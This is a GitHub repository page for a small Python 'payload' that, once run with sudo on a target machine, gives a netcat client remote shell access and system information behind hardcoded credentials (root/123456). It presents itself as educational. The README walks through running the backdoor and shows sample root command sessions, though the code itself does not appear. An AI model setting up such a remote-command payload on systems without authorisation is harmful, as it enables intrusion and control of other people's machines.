Skip to content

A little (simple) tool to execute commands on remote machine 🏹

License

Notifications You must be signed in to change notification settings

thiiagoms/payload-example

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

8 Commits
 
 
 
 
 
 
 
 

Repository files navigation

Logo

Simple payload with Python! 🚀

Execute commands, get info about system with this little pythonic example. You MUST use this example ONLY for educational purposes.

Dependencies

  • Python 3.5+

Use:

1 - Clone the repository:

$ git clone https://github.com/thiiagoms/shell-server,

2 - Change host and port on payload.py and then execute on target machine:

$ sudo python payload.py

3 - You can use netcat for example, to connect on host and port:

$ netcat <host> <port>

[*] Username: root
[*] Password: 123456

$ <you-are-connect-on-machine>

4 - You have two commands on payload: shell, server-info and exit

  • First: shell to execute commands on target machine
Welcome to socket server panel. 
$ shell
shell >>: ls

assets
LICENSE
payload.py
README.md

shell >>: whoami

root     
  • Second: server-info to get info about machine
$ server info

Linux codex 5.13.19-2-MANJARO #1 SMP PREEMPT Sun Sep 19 21:31:53 UTC 2021 x86_64 GNU/Linux
  • Third: exit to exit payload and close connection:
$ exit

About

A little (simple) tool to execute commands on remote machine 🏹

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages